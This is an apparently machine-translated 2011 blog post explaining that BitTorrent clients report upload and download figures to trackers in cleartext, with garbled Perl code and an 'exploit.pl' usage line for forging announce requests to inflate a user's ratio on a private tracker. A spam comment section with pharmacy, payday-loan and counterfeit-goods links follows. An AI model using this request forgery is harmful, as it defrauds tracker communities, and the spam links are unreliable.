Main » 2011 » Март » 16 » Vulnerability in the bittorrent protocol
13:52
Vulnerability in the bittorrent protocol
Before you read this article would recommend to get acquainted with the basic terms of the technology http://ru.wikipedia.org/wiki/BitTorrent
also desirable basic knowledge of the language Perl

Today Bittorrent protocol is at its peak of popularity. Hundreds and thousands of terabytes per second rushing to peers over fiber optic backbones and radio channels. Millions of files (torrent) appear on the tracker. What can prevent this?

In this article I want to discuss and show excessive openness and ease of messaging tracker and bittorrent client. Maybe this vulnerability can not be named because real threat to the server and the client does not, but it can undermine the functioning of the network and dramatically reduce the overall rate of return. It's no secret that an indicator of user activity tracker is a ratio. It is less than the greater restrictions imposed on the user. Very low ratio may serve as deleting the account. This is especially important in networks using NAT, because Upload turns miserable. Let's try to delve into the mechanism of communications client-server and try to improve the ratio.

Actually I want to start a description of parsing HTTP header most Bittorrent clients (for detailed description refer to the relevant documentation):

GET announce.php? Info_hash =% 8bz% 0d% 9b% 93% ac% 7d% d0 % 90% 60r% 03% 1b% 2b% 89% 60p% 08% 96% 2e & peer_id =- UT1600-% da% 81% bc% ce4% 9c% a0% c1k% 81% a7% f9 & port = 6881 & uploaded = 35302368 & downloaded = 54454366434 & left = 177313792 & key = F53CB1E7 & numwant = 200 & compact = 1 & no_peer_id = 1 HTTP/1.1
Host: myhost.com
User-Agent: uTorrent/1600
Accept-Encoding: gzip
Connection: Close


As you can see all the key parameters are passed in cleartext, and it can be used. Substituting the parameters in the header (getting variables everyone can realize its own way, whether it be console or GUI) and transferring it to an open tracker with Socket, following the conversion of a hash file to the tracker understandable form:

my @ r = $ info_hash = ~ / (. {1,2}) / g;
$ info = join ('%',r);
$ info_hash = "%". $ Info;



my $ request = "";
$ request .= "GET / announce.php? Passkey = $ passkey & info_hash = $ info_hash & peer_id =- UT1750-% fa% 91% a4IE% 22ys% fb % 3cCc & port = 6881 & uploaded = $ uploaded & downloaded = $ downloaded & left = 1037668352 & key = E4DC5ED5 & event = started & numwant = 200 & compact = 1 & no_peer_id = 1 HTTP/1.1 \ r \ n ";
$ request .=" Host: $ host: $ port \ r \ n ";
$ request .=" User-Agent: uTorrent/1750 \ r \ n ";
$ request .=" Accept-Encoding: gzip \ r \ n ";
$ request .= "Connection: Close \ r \ n \ r \ n";

print $ sock $ request;
print $ sock $ request;


Check the profile and are pleased to be received megabytes:)

Example:
perl exploit.pl
perl exploit.pl victim.com 80 1ea9a2766ce3323b3985fddf4a4d11fb 10551598080 0 7E4067D35AE85FF20BFB9D08DCA0E688980CEFB8

This article is for information only and use of this material may result in termination of your account .

I would like to hear opinions on this issue and certainly the way to solve it. I am aware of some anti-cheat devices, but it seems to me they are not effective.

Popovodu design not much kick as Habraviki closed.

Shortcuts on the topic:
http://www.securitylab.ru/news/301042.ph ...
http://ru.wikipedia.org/wiki/BitTorrent
Views: 10011 | Added by: w1zard | Rating: 0.0/0
Total comments: 9
9 fournepen  
0
tu59 http://aviagrase.net/#ld63 viagra olagligt http://aviagrase.net/#fc31 - billigt viagra www.viagra-se.net

8 GrobbyBroon  
0
tq56 http://paydayloansshorttermloans.co.uk/#i63y multi-payment payday loan

7 algerov  
0
When it comes to god and prayers, they do prefer to wear something that is well-defined. http://www.isabelmarantsneakersboutique.com/#53576 - isabel marant merry sandals - http://www.isabelmarantsneakersboutique.com/#94865 - isabel marant merry sandals , http://www.isabelmarantsneakersboutique.com/#62685

6 bswwqit  
0
It is important to make sure that the pair bought matches with the allocated budget and that it does not go way too above or below. http://www.cheaplouisvuittonbagsx.com/#56249 - louis vuitton luggage wholesale - http://www.cheaplouisvuittonbagsx.com/#85761 - louis vuitton outlet stores , http://www.cheaplouisvuittonbagsx.com/#16436

5 vgljsoc  
0
Receiving Utmost Pet Care In Dog Boarding Facilities By: Samantha Banks | Aug 11th 2012 - Looking for a dog boarding house for your beloved animal? The bond between a pet owner and his/her pet can reach unbreakable levels. http://www.cheapmonclerjacketsx.com/#22963 - authentic moncler on sale - http://www.cheapmonclerjacketsx.com/#22381 - moncler coats outlet , http://www.cheapmonclerjacketsx.com/#98221

4 gfjqgiv  
0
In manufacturing, 24 items, some of it exchanged. http://www.cheaplouisvuittonbagsx.com/#39397 - louis vuitton purses designer handbags - http://www.cheaplouisvuittonbagsx.com/#79498 - louis vuitton bags online , http://www.cheaplouisvuittonbagsx.com/#62711

3 jjjtoaj  
0
Tweed has a very strong presence. http://www.isabelmarantsneakersboutique.com/#81765 - isabel marant cowboy boots - http://www.isabelmarantsneakersboutique.com/#59661 - isabel marant mens sneakers , http://www.isabelmarantsneakersboutique.com/#86596

2 vfpantd  
0
Unique kind of laser printers is used in order to print these types of CD covers. http://www.isabelmarantsneakersboutique.com/#69326 - isabel marant fall 2011 - http://www.isabelmarantsneakersboutique.com/#93458 - isabel marant amos , http://www.isabelmarantsneakersboutique.com/#26634

1 KivaEvinquino  
0
vq51 http://instantploans.co.uk/#r52i payday las vegas http://instantploans.co.uk/#ju58 - instantploans.co.uk payday site

Имя *:
Email *:
Код *: